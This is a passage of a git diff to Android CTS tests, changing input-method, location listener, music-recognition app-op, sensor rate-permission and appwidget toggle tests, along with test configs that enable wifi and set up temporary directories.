                     Map.of(EXTRA_KEY_PRIVATE_IME_OPTIONS, marker))) {
                 expectEvent(stream, editorMatcher("onStartInput", marker), START_INPUT_TIMEOUT);
+                expectImeInvisible(TIMEOUT);
+
+                // Request showSoftInput, expect the request is valid and soft-keyboard visible.
+                triggerActionWithBroadcast(ACTION_TRIGGER, TEST_ACTIVITY.getPackageName(),
+                        EXTRA_SHOW_SOFT_INPUT);
                 expectEvent(stream, event -> "showSoftInput".equals(event.getEventName()), TIMEOUT);
                 expectEvent(stream, editorMatcher("onStartInputView", marker), TIMEOUT);
                 expectEventWithKeyValue(stream, "onWindowVisibilityChanged", "visible",
@@ -678,6 +682,10 @@
              long timeout, Map<String, String> extras) {
         final StringBuilder commandBuilder = new StringBuilder();
         if (instant) {
+            // Override app-links domain verification.
+            runShellCommand(
+                    String.format("pm set-app-links-user-selection --user cur --package %s true %s",
+                            componentName.getPackageName(), TEST_ACTIVITY_URI.getHost()));
             final Uri uri = formatStringIntentParam(TEST_ACTIVITY_URI, extras);
             commandBuilder.append(String.format("am start -a %s -c %s %s",
                     Intent.ACTION_VIEW, Intent.CATEGORY_BROWSABLE, uri.toString()));
diff --git a/tests/inputmethod/src/android/view/inputmethod/cts/PackageVisibilityTest.java b/tests/inputmethod/src/android/view/inputmethod/cts/PackageVisibilityTest.java
index 639be3b..4f2dbeb 100644
--- a/tests/inputmethod/src/android/view/inputmethod/cts/PackageVisibilityTest.java
+++ b/tests/inputmethod/src/android/view/inputmethod/cts/PackageVisibilityTest.java
@@ -124,6 +124,10 @@
             long timeout) {
         final String command;
         if (instant) {
+            // Override app-links domain verification.
+            runShellCommand(
+                    String.format("pm set-app-links-user-selection --user cur --package %s true %s",
+                            TEST_ACTIVITY.getPackageName(), TEST_ACTIVITY_URI.getHost()));
             final Uri uri = formatStringIntentParam(
                     TEST_ACTIVITY_URI, EXTRA_KEY_PRIVATE_IME_OPTIONS, privateImeOptions);
             command = String.format("am start -a %s -c %s %s",
@@ -147,7 +151,6 @@
         testTargetPackageIsVisibleFromIme(false /* instant */);
     }
 
-    @Ignore("b/179983398")
     @AppModeInstant
     @Test
     public void testTargetPackageIsVisibleFromImeInstant() throws Exception {
diff --git a/tests/inputmethod/testapp/src/android/view/inputmethod/ctstestapp/MainActivity.java b/tests/inputmethod/testapp/src/android/view/inputmethod/ctstestapp/MainActivity.java
index 2b35554..207c440 100644
--- a/tests/inputmethod/testapp/src/android/view/inputmethod/ctstestapp/MainActivity.java
+++ b/tests/inputmethod/testapp/src/android/view/inputmethod/ctstestapp/MainActivity.java
@@ -30,13 +30,13 @@
 import android.os.Handler;
 import android.os.Looper;
 import android.view.Gravity;
+import android.view.inputmethod.InputMethodManager;
+import android.widget.EditText;
 import android.widget.LinearLayout;
 import android.widget.TextView;
 
 import androidx.annotation.Nullable;
 
-import com.android.compatibility.common.util.ImeAwareEditText;
-
 /**
  * A test {@link Activity} that automatically shows the input method.
  */
@@ -48,9 +48,11 @@
             "android.view.inputmethod.ctstestapp.EXTRA_KEY_SHOW_DIALOG";
 
     private static final String EXTRA_DISMISS_DIALOG = "extra_dismiss_dialog";
+    private static final String EXTRA_SHOW_SOFT_INPUT = "extra_show_soft_input";
 
     private static final String ACTION_TRIGGER = "broadcast_action_trigger";
     private AlertDialog mDialog;
+    private EditText mEditor;
     private final Handler mHandler = new Handler(Looper.myLooper());
 
     private BroadcastReceiver mBroadcastReceiver;
@@ -102,15 +104,14 @@
             mDialog.getWindow().setSoftInputMode(SOFT_INPUT_ADJUST_PAN);
             mDialog.show();
         } else {
-            final ImeAwareEditText editText = new ImeAwareEditText(this);
-            editText.setHint("editText");
+            mEditor = new EditText(this);
+            mEditor.setHint("editText");
             final String privateImeOptions = getStringIntentExtra(EXTRA_KEY_PRIVATE_IME_OPTIONS);
             if (privateImeOptions != null) {
-                editText.setPrivateImeOptions(privateImeOptions);
+                mEditor.setPrivateImeOptions(privateImeOptions);
             }
-            editText.requestFocus();
-            editText.scheduleShowSoftInput();
-            layout.addView(editText);
+            mEditor.requestFocus();
+            layout.addView(mEditor);
         }
 
         setContentView(layout);
@@ -122,7 +123,16 @@
         mBroadcastReceiver = new BroadcastReceiver() {
             @Override
             public void onReceive(Context context, Intent intent) {
-                if (intent.getBooleanExtra(EXTRA_DISMISS_DIALOG, false)) {
+                final Bundle extras = intent.getExtras();
+                if (extras == null) {
+                    return;
+                }
+
+                if (extras.containsKey(EXTRA_SHOW_SOFT_INPUT)) {
+                    getSystemService(InputMethodManager.class).showSoftInput(mEditor, 0);
+                }
+
+                if (extras.getBoolean(EXTRA_DISMISS_DIALOG, false)) {
                     if (mDialog != null) {
                         mDialog.dismiss();
                         mDialog = null;
diff --git a/tests/libcore/luni/AndroidTest.xml b/tests/libcore/luni/AndroidTest.xml
index e0fc82a33..bb675f0 100644
--- a/tests/libcore/luni/AndroidTest.xml
+++ b/tests/libcore/luni/AndroidTest.xml
@@ -22,6 +22,9 @@
     <option name="config-descriptor:metadata" key="parameter" value="secondary_user" />
     <option name="config-descriptor:metadata" key="parameter" value="not_instant_app" />
     <target_preparer class="com.android.tradefed.targetprep.RunCommandTargetPreparer">
+        <!-- libcore.java.net.SocketTest requires wifi -->
+        <option name="run-command" value="settings put global wifi_on 1" />
+        <option name="run-command" value="svc wifi enable" />
         <option name="run-command" value="mkdir -p /data/local/tmp/ctslibcore/java.io.tmpdir" />
         <option name="run-command" value="mkdir -p /data/local/tmp/ctslibcore/user.home" />
         <option name="teardown-command" value="rm -rf /data/local/tmp/ctslibcore" />
diff --git a/tests/libcore/okhttp/AndroidTest.xml b/tests/libcore/okhttp/AndroidTest.xml
index 771293e2..9ca68e0 100644
--- a/tests/libcore/okhttp/AndroidTest.xml
+++ b/tests/libcore/okhttp/AndroidTest.xml
@@ -22,6 +22,9 @@
     <option name="config-descriptor:metadata" key="parameter" value="secondary_user" />
     <option name="config-descriptor:metadata" key="parameter" value="not_instant_app" />
     <target_preparer class="com.android.tradefed.targetprep.RunCommandTargetPreparer">
+        <!-- This CTS test module requires wifi, ensure wifi is on -->
+        <option name="run-command" value="settings put global wifi_on 1" />
+        <option name="run-command" value="svc wifi enable" />
         <option name="run-command" value="mkdir -p /data/local/tmp/ctslibcore/java.io.tmpdir" />
         <option name="run-command" value="mkdir -p /data/local/tmp/ctslibcore/user.home" />
         <option name="teardown-command" value="rm -rf /data/local/tmp/ctslibcore" />
diff --git a/tests/location/common/src/android/location/cts/common/ProviderRequestListenerCapture.java b/tests/location/common/src/android/location/cts/common/ProviderRequestChangedListenerCapture.java
similarity index 81%
rename from tests/location/common/src/android/location/cts/common/ProviderRequestListenerCapture.java
rename to tests/location/common/src/android/location/cts/common/ProviderRequestChangedListenerCapture.java
index 9522474..65797a2 100644
--- a/tests/location/common/src/android/location/cts/common/ProviderRequestListenerCapture.java
+++ b/tests/location/common/src/android/location/cts/common/ProviderRequestChangedListenerCapture.java
@@ -24,12 +24,16 @@
 import java.util.concurrent.LinkedBlockingQueue;
 import java.util.concurrent.TimeUnit;
 
-/** A {@link ProviderRequest.Listener} that automatically unregisters itself when closed. */
-public class ProviderRequestListenerCapture implements ProviderRequest.Listener, AutoCloseable {
+/**
+ * A {@link ProviderRequest.ChangedListener} that automatically unregisters itself
+ * when closed.
+ */
+public class ProviderRequestChangedListenerCapture implements
+        ProviderRequest.ChangedListener, AutoCloseable {
     private final LocationManager mLocationManager;
     private final LinkedBlockingQueue<Pair<String, ProviderRequest>> mProviderRequestChanges;
 
-    public ProviderRequestListenerCapture(Context context) {
+    public ProviderRequestChangedListenerCapture(Context context) {
         mLocationManager = context.getSystemService(LocationManager.class);
         mProviderRequestChanges = new LinkedBlockingQueue<>();
     }
@@ -46,6 +50,6 @@
 
     @Override
     public void close() throws Exception {
-        mLocationManager.unregisterProviderRequestListener(this);
+        mLocationManager.removeProviderRequestChangedListener(this);
     }
 }
diff --git a/tests/location/location_fine/src/android/location/cts/fine/LocationManagerFineTest.java b/tests/location/location_fine/src/android/location/cts/fine/LocationManagerFineTest.java
index c878e33..8e19407 100644
--- a/tests/location/location_fine/src/android/location/cts/fine/LocationManagerFineTest.java
+++ b/tests/location/location_fine/src/android/location/cts/fine/LocationManagerFineTest.java
@@ -62,7 +62,7 @@
 import android.location.cts.common.GetCurrentLocationCapture;
 import android.location.cts.common.LocationListenerCapture;
 import android.location.cts.common.LocationPendingIntentCapture;
-import android.location.cts.common.ProviderRequestListenerCapture;
+import android.location.cts.common.ProviderRequestChangedListenerCapture;
 import android.location.cts.common.gnss.GnssAntennaInfoCapture;
 import android.location.cts.common.gnss.GnssMeasurementsCapture;
 import android.location.cts.common.gnss.GnssNavigationMessageCapture;
@@ -809,14 +809,14 @@
     }
 
     @Test
-    public void testRegisterProviderRequestListener() throws Exception {
+    public void testAddProviderRequestListener() throws Exception {
         InstrumentationRegistry.getInstrumentation().getUiAutomation()
                 .adoptShellPermissionIdentity(Manifest.permission.LOCATION_HARDWARE);
 
-        try (ProviderRequestListenerCapture requestlistener = new ProviderRequestListenerCapture(
-                mContext);
+        try (ProviderRequestChangedListenerCapture requestlistener =
+                     new ProviderRequestChangedListenerCapture(mContext);
              LocationListenerCapture locationListener = new LocationListenerCapture(mContext)) {
-            mManager.registerProviderRequestListener(Executors.newSingleThreadExecutor(),
+            mManager.addProviderRequestChangedListener(Executors.newSingleThreadExecutor(),
                     requestlistener);
             mManager.requestLocationUpdates(TEST_PROVIDER, 0, 0,
                     Executors.newSingleThreadExecutor(), locationListener);
diff --git a/tests/musicrecognition/src/android/musicrecognition/cts/CtsMusicRecognitionService.java b/tests/musicrecognition/src/android/musicrecognition/cts/CtsMusicRecognitionService.java
index d100fed..f8ebaac 100644
--- a/tests/musicrecognition/src/android/musicrecognition/cts/CtsMusicRecognitionService.java
+++ b/tests/musicrecognition/src/android/musicrecognition/cts/CtsMusicRecognitionService.java
@@ -21,10 +21,10 @@
 import android.content.ComponentName;
 import android.media.AudioFormat;
 import android.media.MediaMetadata;
-import android.media.musicrecognition.MusicRecognitionManager;
 import android.media.musicrecognition.MusicRecognitionService;
 import android.os.Bundle;
 import android.os.ParcelFileDescriptor;
+import android.util.Log;
 
 import androidx.annotation.NonNull;
 
@@ -36,8 +36,10 @@
 
 /** No-op implementation of MusicRecognitionService for testing purposes. */
 public class CtsMusicRecognitionService extends MusicRecognitionService {
+    private static final String TAG = CtsMusicRecognitionService.class.getSimpleName();
+    public static final String SERVICE_PACKAGE = "android.musicrecognition.cts";
     public static final ComponentName SERVICE_COMPONENT = new ComponentName(
-            "android.musicrecognition.cts", CtsMusicRecognitionService.class.getName());
+            SERVICE_PACKAGE, CtsMusicRecognitionService.class.getName());
 
     private static Watcher sWatcher;
 
@@ -54,7 +56,9 @@
         if (sWatcher.failureCode != 0) {
             callback.onRecognitionFailed(sWatcher.failureCode);
         } else {
+            Log.i(TAG, "Reading audio stream...");
             sWatcher.stream = readStream(stream);
+            Log.i(TAG, "Reading audio done.");
             callback.onRecognitionSucceeded(sWatcher.result, sWatcher.resultExtras);
         }
     }
diff --git a/tests/musicrecognition/src/android/musicrecognition/cts/MusicRecognitionManagerTest.java b/tests/musicrecognition/src/android/musicrecognition/cts/MusicRecognitionManagerTest.java
index 54e5f69..9a9ed7b 100644
--- a/tests/musicrecognition/src/android/musicrecognition/cts/MusicRecognitionManagerTest.java
+++ b/tests/musicrecognition/src/android/musicrecognition/cts/MusicRecognitionManagerTest.java
@@ -20,16 +20,23 @@
 
 import static com.android.compatibility.common.util.ShellUtils.runShellCommand;
 
-import static com.google.common.truth.Truth.assertWithMessage;
 import static com.google.common.truth.Truth.assertThat;
 
+import static org.junit.Assert.assertFalse;
+import static org.junit.Assert.assertTrue;
+
 import static org.mockito.ArgumentMatchers.any;
+import static org.mockito.ArgumentMatchers.anyBoolean;
 import static org.mockito.ArgumentMatchers.anyInt;
+import static org.mockito.ArgumentMatchers.anyString;
 import static org.mockito.ArgumentMatchers.eq;
+import static org.mockito.Mockito.mock;
 import static org.mockito.Mockito.never;
+import static org.mockito.Mockito.reset;
 import static org.mockito.Mockito.timeout;
 import static org.mockito.Mockito.verify;
 
+import android.app.AppOpsManager;
 import android.content.Context;
 import android.media.AudioAttributes;
 import android.media.AudioFormat;
@@ -39,16 +46,15 @@
 import android.media.musicrecognition.MusicRecognitionManager;
 import android.media.musicrecognition.RecognitionRequest;
 import android.os.Binder;
-import android.os.Build;
 import android.os.Bundle;
 import android.os.ParcelFileDescriptor;
+import android.os.Process;
 import android.util.Log;
 
 import androidx.annotation.NonNull;
 import androidx.test.runner.AndroidJUnit4;
 
 import com.android.compatibility.common.util.RequiredServiceRule;
-import com.android.compatibility.common.util.ShellUtils;
 
 import com.google.common.util.concurrent.MoreExecutors;
 
@@ -70,6 +76,7 @@
 public class MusicRecognitionManagerTest {
     private static final String TAG = MusicRecognitionManagerTest.class.getSimpleName();
     private static final long VERIFY_TIMEOUT_MS = 40_000;
+    private static final long VERIFY_APPOP_CHANGE_TIMEOUT_MS = 2000;
 
     @Rule public TestName mTestName = new TestName();
     @Rule
@@ -170,6 +177,62 @@
         verify(mCallback, never()).onRecognitionSucceeded(any(), any(), any());
     }
 
+    @Test
+    public void testRecordAudioOpsAreTracked() {
+        mWatcher.result = new MediaMetadata.Builder()
+                .putString(MediaMetadata.METADATA_KEY_ARTIST, "artist")
+                .putString(MediaMetadata.METADATA_KEY_TITLE, "title")
+                .build();
+
+        final String packageName = CtsMusicRecognitionService.SERVICE_PACKAGE;
+        final int uid = Process.myUid();
+
+        final AppOpsManager appOpsManager = getInstrumentation().getContext()
+                .getSystemService(AppOpsManager.class);
+        final AppOpsManager.OnOpActiveChangedListener listener = mock(
+                AppOpsManager.OnOpActiveChangedListener.class);
+        // Assert the app op is not started
+        assertFalse(appOpsManager.isOpActive(AppOpsManager.OPSTR_RECORD_AUDIO, uid, packageName));
+
+        // Start watching for record audio op
+        appOpsManager.startWatchingActive(new String[] { AppOpsManager.OPSTR_RECORD_AUDIO },
+                getInstrumentation().getContext().getMainExecutor(), listener);
+
+        // Invoke API
+        RecognitionRequest request = invokeMusicRecognitionApi();
+
+        // The app op should start
+        verify(listener, timeout(VERIFY_APPOP_CHANGE_TIMEOUT_MS)
+                .only()).onOpActiveChanged(eq(AppOpsManager.OPSTR_RECORD_AUDIO),
+                eq(uid), eq(packageName), eq(true));
+
+        // Wait for streaming to finish.
+        reset(listener);
+        try {
+            Thread.sleep(10000);
+        } catch (InterruptedException e) {
+            e.printStackTrace();
+        }
+
+        // The app op should finish
+        verify(listener, timeout(VERIFY_APPOP_CHANGE_TIMEOUT_MS)
+                .only()).onOpActiveChanged(eq(AppOpsManager.OPSTR_RECORD_AUDIO),
+                eq(uid), eq(packageName), eq(false));
+
+
+        // Start with a clean slate
+        reset(listener);
+
+        // Stop watching for app op
+        appOpsManager.stopWatchingActive(listener);
+
+        // No other callbacks expected
+        verify(listener, timeout(VERIFY_APPOP_CHANGE_TIMEOUT_MS).times(0))
+                .onOpActiveChanged(eq(AppOpsManager.OPSTR_RECORD_AUDIO),
+                        anyInt(), anyString(), anyBoolean());
+    }
+
+
     private RecognitionRequest invokeMusicRecognitionApi() {
         AudioRecord record = new AudioRecord(MediaRecorder.AudioSource.MIC, 16_000,
                 AudioFormat.CHANNEL_IN_MONO, AudioFormat.ENCODING_PCM_16BIT, 256_000);
diff --git a/tests/sensor/sensorratepermission/DirectReportAPI30/src/android/sensorratepermission/cts/directreportapi30/DirectReportAPI30Test.java b/tests/sensor/sensorratepermission/DirectReportAPI30/src/android/sensorratepermission/cts/directreportapi30/DirectReportAPI30Test.java
index a2c82f4..b97a2cc 100644
--- a/tests/sensor/sensorratepermission/DirectReportAPI30/src/android/sensorratepermission/cts/directreportapi30/DirectReportAPI30Test.java
+++ b/tests/sensor/sensorratepermission/DirectReportAPI30/src/android/sensorratepermission/cts/directreportapi30/DirectReportAPI30Test.java
@@ -32,6 +32,7 @@
 
 import org.junit.After;
 import org.junit.Assert;
+import org.junit.Assume;
 import org.junit.Before;
 import org.junit.Test;
 import org.junit.runner.RunWith;
@@ -72,6 +73,9 @@
         Context context = InstrumentationRegistry.getInstrumentation().getContext();
         mDirectReportTestHelper = new SensorRatePermissionDirectReportTestHelper(context,
                 sensorType);
+        Assume.assumeTrue("Failed to create mDirectReportTestHelper!",
+                mDirectReportTestHelper != null);
+
         mSensorManager = context.getSystemService(SensorManager.class);
         mSensorPrivacyManager = context.getSystemService(SensorPrivacyManager.class);
         mUserID = UserHandle.myUserId();
@@ -79,7 +83,9 @@
 
     @After
     public void tearDown() throws InterruptedException {
-        mDirectReportTestHelper.flipAndAssertMicToggleOff(mUserID, mSensorPrivacyManager);
+        if (mDirectReportTestHelper != null) {
+            mDirectReportTestHelper.flipAndAssertMicToggleOff(mUserID, mSensorPrivacyManager);
+        }
     }
 
     @Test
@@ -126,9 +132,6 @@
         // the sensor corresponds to a sampling rate of > 200 Hz and that the sensor supports
         // direct channel.
         Sensor s = mDirectReportTestHelper.getSensor();
-        if (s == null) {
-            return;
-        }
         if (s.getHighestDirectReportRateLevel() <= SensorDirectChannel.RATE_FAST
                 || !s.isDirectChannelTypeSupported(SensorDirectChannel.TYPE_HARDWARE_BUFFER)) {
             return;
diff --git a/tests/sensor/sensorratepermission/DirectReportAPI31/src/android/sensorratepermission/cts/directreportapi31/DirectReportAPI31Test.java b/tests/sensor/sensorratepermission/DirectReportAPI31/src/android/sensorratepermission/cts/directreportapi31/DirectReportAPI31Test.java
index 50984bd..ff6d658 100644
--- a/tests/sensor/sensorratepermission/DirectReportAPI31/src/android/sensorratepermission/cts/directreportapi31/DirectReportAPI31Test.java
+++ b/tests/sensor/sensorratepermission/DirectReportAPI31/src/android/sensorratepermission/cts/directreportapi31/DirectReportAPI31Test.java
@@ -28,6 +28,7 @@
 
 import org.junit.After;
 import org.junit.Assert;
+import org.junit.Assume;
 import org.junit.Before;
 import org.junit.Test;
 import org.junit.runner.RunWith;
@@ -66,13 +67,18 @@
         Context context = InstrumentationRegistry.getInstrumentation().getContext();
         mDirectReportTestHelper = new SensorRatePermissionDirectReportTestHelper(context,
                 sensorType);
+        Assume.assumeTrue("Failed to create mDirectReportTestHelper!",
+                mDirectReportTestHelper != null);
+
         mSensorPrivacyManager = context.getSystemService(SensorPrivacyManager.class);
         mUserID = UserHandle.myUserId();
     }
 
     @After
     public void tearDown() throws InterruptedException {
-        mDirectReportTestHelper.flipAndAssertMicToggleOff(mUserID, mSensorPrivacyManager);
+        if (mDirectReportTestHelper != null) {
+            mDirectReportTestHelper.flipAndAssertMicToggleOff(mUserID, mSensorPrivacyManager);
+        }
     }
 
     @Test
diff --git a/tests/sensor/sensorratepermission/EventConnectionAPI30/src/android/sensorratepermission/cts/eventconnectionapi30/EventConnectionAPI30Test.java b/tests/sensor/sensorratepermission/EventConnectionAPI30/src/android/sensorratepermission/cts/eventconnectionapi30/EventConnectionAPI30Test.java
index c869bf1..18e308e 100644
--- a/tests/sensor/sensorratepermission/EventConnectionAPI30/src/android/sensorratepermission/cts/eventconnectionapi30/EventConnectionAPI30Test.java
+++ b/tests/sensor/sensorratepermission/EventConnectionAPI30/src/android/sensorratepermission/cts/eventconnectionapi30/EventConnectionAPI30Test.java
@@ -20,7 +20,6 @@
 import android.hardware.Sensor;
 import android.hardware.SensorManager;
 import android.hardware.SensorPrivacyManager;
-import android.hardware.cts.helpers.SensorRatePermissionDirectReportTestHelper;
 import android.hardware.cts.helpers.SensorRatePermissionEventConnectionTestHelper;
 import android.hardware.cts.helpers.TestSensorEnvironment;
 import android.hardware.cts.helpers.TestSensorEvent;
@@ -86,8 +85,13 @@
                 sensor,
                 SensorManager.SENSOR_DELAY_FASTEST,
                 (int) TimeUnit.SECONDS.toMicros(5));
+        Assume.assumeTrue("Failed to create mTestEnvironment!", mTestEnvironment != null);
+
         mEventConnectionTestHelper = new SensorRatePermissionEventConnectionTestHelper(
                 mTestEnvironment);
+        Assume.assumeTrue("Failed to create mEventConnectionTestHelper!",
+                mEventConnectionTestHelper != null);
+
         mSensorPrivacyManager = context.getSystemService(SensorPrivacyManager.class);
         // In context of this app (targetSDK = 30), this returns the original supported min delay
         // of the sensor
@@ -99,7 +103,9 @@
 
     @After
     public void tearDown() throws InterruptedException {
-        mEventConnectionTestHelper.flipAndAssertMicToggleOff(mUserID, mSensorPrivacyManager);
+        if (mEventConnectionTestHelper != null) {
+            mEventConnectionTestHelper.flipAndAssertMicToggleOff(mUserID, mSensorPrivacyManager);
+        }
     }
 
     @Test
@@ -167,7 +173,7 @@
                         Long.MIN_VALUE, Long.MAX_VALUE);
         Assert.assertTrue(mEventConnectionTestHelper.errorWhenExceedCappedRate(),
                 rateWhenMicToggleOn
-                        <= SensorRatePermissionDirectReportTestHelper.CAPPED_SAMPLE_RATE_HZ);
+                        <= SensorRatePermissionEventConnectionTestHelper.CAPPED_SAMPLE_RATE_HZ);
 
         // Flip the mic toggle off, clear all the events so far.
         mEventConnectionTestHelper.flipAndAssertMicToggleOff(mUserID, mSensorPrivacyManager);
@@ -181,7 +187,7 @@
                 events, Long.MIN_VALUE, Long.MAX_VALUE);
         Assert.assertTrue(mEventConnectionTestHelper.errorWhenBelowExpectedRate(),
                 rateWhenMicToggleOff
-                        > SensorRatePermissionDirectReportTestHelper.CAPPED_SAMPLE_RATE_HZ);
+                        > SensorRatePermissionEventConnectionTestHelper.CAPPED_SAMPLE_RATE_HZ);
 
         listener.clearEvents();
         testSensorManager.unregisterListener();
diff --git a/tests/sensor/sensorratepermission/EventConnectionAPI31/src/android/sensorratepermission/cts/eventconnectionapi31/EventConnectionAPI31Test.java b/tests/sensor/sensorratepermission/EventConnectionAPI31/src/android/sensorratepermission/cts/eventconnectionapi31/EventConnectionAPI31Test.java
index b912cc0..ff909e5 100644
--- a/tests/sensor/sensorratepermission/EventConnectionAPI31/src/android/sensorratepermission/cts/eventconnectionapi31/EventConnectionAPI31Test.java
+++ b/tests/sensor/sensorratepermission/EventConnectionAPI31/src/android/sensorratepermission/cts/eventconnectionapi31/EventConnectionAPI31Test.java
@@ -79,15 +79,22 @@
                 sensor,
                 SensorManager.SENSOR_DELAY_FASTEST,
                 (int) TimeUnit.SECONDS.toMicros(5));
+        Assume.assumeTrue("Failed to create mTestEnvironment!", mTestEnvironment != null);
+
         mEventConnectionTestHelper = new SensorRatePermissionEventConnectionTestHelper(
                 mTestEnvironment);
+        Assume.assumeTrue("Failed to create mEventConnectionTestHelper!",
+                mEventConnectionTestHelper != null);
+
         mSensorPrivacyManager = context.getSystemService(SensorPrivacyManager.class);
         mUserID = UserHandle.myUserId();
     }
 
     @After
     public void tearDown() throws InterruptedException {
-        mEventConnectionTestHelper.flipAndAssertMicToggleOff(mUserID, mSensorPrivacyManager);
+        if (mEventConnectionTestHelper != null) {
+            mEventConnectionTestHelper.flipAndAssertMicToggleOff(mUserID, mSensorPrivacyManager);
+        }
     }
 
     @Test
diff --git a/tests/sensor/sensorratepermission/EventConnectionResampling/src/android/sensorratepermission/cts/resampling/ResamplingTest.java b/tests/sensor/sensorratepermission/EventConnectionResampling/src/android/sensorratepermission/cts/resampling/ResamplingTest.java
index c52e4d6..653c22f 100644
--- a/tests/sensor/sensorratepermission/EventConnectionResampling/src/android/sensorratepermission/cts/resampling/ResamplingTest.java
+++ b/tests/sensor/sensorratepermission/EventConnectionResampling/src/android/sensorratepermission/cts/resampling/ResamplingTest.java
@@ -39,7 +39,6 @@
 import androidx.test.platform.app.InstrumentationRegistry;
 
 import org.junit.Assert;
-import org.junit.Assume;
 
 import java.util.List;
 import java.util.concurrent.TimeUnit;
@@ -72,8 +71,9 @@
         mContext = InstrumentationRegistry.getInstrumentation().getContext();
         SensorManager sensorManager = mContext.getSystemService(SensorManager.class);
         Sensor sensor = sensorManager.getDefaultSensor(Sensor.TYPE_ACCELEROMETER);
-        Assume.assumeTrue("Failed to find a sensor!", sensor != null);
-
+        if (sensor == null) {
+            return;
+        }
         mTestEnvironment = new TestSensorEnvironment(
                 mContext,
                 sensor,
@@ -84,6 +84,9 @@
     }
 
     public void testResamplingEventConnections() throws Exception {
+        if (mTestEnvironment == null || mEventConnectionTestHelper == null) {
+            return;
+        }
         // Start an app that registers a listener with high sampling rate
         Intent intent = new Intent();
         intent.setComponent(new ComponentName(
@@ -104,6 +107,9 @@
     }
 
     public void testSensorDefaultVerifications() throws Exception {
+        if (mTestEnvironment == null) {
+            return;
+        }
         TestSensorOperation op = TestSensorOperation.createOperation(
                 mTestEnvironment,
                 NUM_EVENTS_COUNT);
diff --git a/tests/sensor/src/android/hardware/cts/helpers/SensorRatePermissionEventConnectionTestHelper.java b/tests/sensor/src/android/hardware/cts/helpers/SensorRatePermissionEventConnectionTestHelper.java
index e409208..08654b4 100644
--- a/tests/sensor/src/android/hardware/cts/helpers/SensorRatePermissionEventConnectionTestHelper.java
+++ b/tests/sensor/src/android/hardware/cts/helpers/SensorRatePermissionEventConnectionTestHelper.java
@@ -35,7 +35,7 @@
  * A helper class to test sensor APIs related to sampling rates of SensorEventConnections.
  */
 public class SensorRatePermissionEventConnectionTestHelper {
-    public static final int CAPPED_SAMPLE_RATE_HZ = 200;
+    public static final int CAPPED_SAMPLE_RATE_HZ = 220; // Capped rate 200 Hz + 10% headroom
     // Set of sensors that are throttled
     public static final ImmutableSet<Integer> CAPPED_SENSOR_TYPE_SET = ImmutableSet.of(
             Sensor.TYPE_ACCELEROMETER,
diff --git a/tests/tests/appwidget/res/layout/remoteviews_adapter_item.xml b/tests/tests/appwidget/res/layout/remoteviews_adapter_item.xml
index ec621da..d9dbe8a 100644
--- a/tests/tests/appwidget/res/layout/remoteviews_adapter_item.xml
+++ b/tests/tests/appwidget/res/layout/remoteviews_adapter_item.xml
@@ -13,11 +13,22 @@
      See the License for the specific language governing permissions and
      limitations under the License.
 -->
-<TextView
+<LinearLayout
     xmlns:android="http://schemas.android.com/apk/res/android"
-    android:id="@+id/item"
-    android:layout_width="120dp"
-    android:layout_height="120dp"
-    android:gravity="center"
-    android:textStyle="bold"
-    android:textSize="44sp" />
+    android:id="@+id/root"
+    android:layout_width="wrap_content"
+    android:layout_height="wrap_content"
+    android:orientation="horizontal">
+    <Switch
+        android:id="@+id/toggle"
+        android:layout_width="wrap_content"
+        android:layout_height="wrap_content"/>
+    <TextView
+        android:id="@+id/item"
+        android:layout_width="120dp"
+        android:layout_height="120dp"
+        android:gravity="center"
+        android:textStyle="bold"
+        android:textSize="44sp" />
+</LinearLayout>
+
diff --git a/tests/tests/appwidget/src/android/appwidget/cts/CollectionAppWidgetTest.java b/tests/tests/appwidget/src/android/appwidget/cts/CollectionAppWidgetTest.java
index 2bc4e47..925fa69 100644
--- a/tests/tests/appwidget/src/android/appwidget/cts/CollectionAppWidgetTest.java
+++ b/tests/tests/appwidget/src/android/appwidget/cts/CollectionAppWidgetTest.java
@@ -19,6 +19,7 @@
 
 import static org.junit.Assert.assertEquals;
 import static org.junit.Assert.assertNotNull;
+import static org.junit.Assert.assertFalse;
 import static org.junit.Assert.assertTrue;
 import static org.junit.Assert.fail;
 import static org.mockito.ArgumentMatchers.any;
@@ -40,7 +41,9 @@
 import android.os.Bundle;
 import android.platform.test.annotations.AppModeFull;
 import android.view.View;
+import android.view.ViewGroup;
 import android.widget.AbsListView;
+import android.widget.CompoundButton;
 import android.widget.ListView;
 import android.widget.RemoteViews;
 import android.widget.RemoteViewsService;
@@ -64,6 +67,7 @@
 import java.util.concurrent.CountDownLatch;
 import java.util.concurrent.TimeUnit;
 import java.util.concurrent.atomic.AtomicBoolean;
+import java.util.function.Predicate;
 
 /**
  * Test AppWidgets which host collection widgets.
@@ -164,7 +168,9 @@
                 extras.putString(BlockingBroadcastReceiver.KEY_PARAM, COUNTRY_LIST[position]);
                 Intent fillInIntent = new Intent();
                 fillInIntent.putExtras(extras);
-                remoteViews.setOnClickFillInIntent(R.id.item, fillInIntent);
+                remoteViews.setOnClickFillInIntent(R.id.root, fillInIntent);
+                remoteViews.setOnCheckedChangeResponse(
+                        R.id.toggle, RemoteViews.RemoteResponse.fromFillInIntent(fillInIntent));
 
                 if (position == 0) {
                     factoryCountDownLatch.countDown();
@@ -339,6 +345,82 @@
         verifyItemClickIntents(3);
     }
 
+    /**
+     * Verifies that setting the item at {@code index} to {@code newChecked} sends a broadcast with
+     * the proper country and checked extras filled in.
+     *
+     * @param index the index to test
+     * @param newChecked the new checked state, which must be different from the current value
+     */
+    private void verifyItemCheckedChangeIntents(int index, boolean newChecked) throws Throwable {
+        BlockingBroadcastReceiver receiver = new BlockingBroadcastReceiver();
+        mActivityRule.runOnUiThread(() -> receiver.register(BROADCAST_ACTION));
+
+        mStackView = (StackView) mAppWidgetHostView.findViewById(R.id.remoteViews_stack);
+        PollingCheck.waitFor(() -> mStackView.getCurrentView() != null);
+
+        mActivityRule.runOnUiThread(
+                () -> {
+                    ViewGroup currentView = (ViewGroup) mStackView.getCurrentView();
+                    CompoundButton toggle =
+                            findFirstMatchingView(currentView, v -> v instanceof CompoundButton);
+                    if (newChecked) {
+                        assertFalse(toggle.isChecked());
+                    } else {
+                        assertTrue(toggle.isChecked());
+                    }
+                    toggle.setChecked(newChecked);
+                });
+        assertEquals(COUNTRY_LIST[index],
+                receiver.getParam(TEST_TIMEOUT_MS, TimeUnit.MILLISECONDS));
+        if (newChecked) {
+            assertTrue(receiver.result.getBooleanExtra(RemoteViews.EXTRA_CHECKED, false));
+        } else {
+            assertFalse(receiver.result.getBooleanExtra(RemoteViews.EXTRA_CHECKED, true));
+        }
+    }
+
+    @Test
+    public void testSetOnCheckedChangePendingIntent() throws Throwable {
+        if (!mHasAppWidgets) {
+            return;
+        }
+
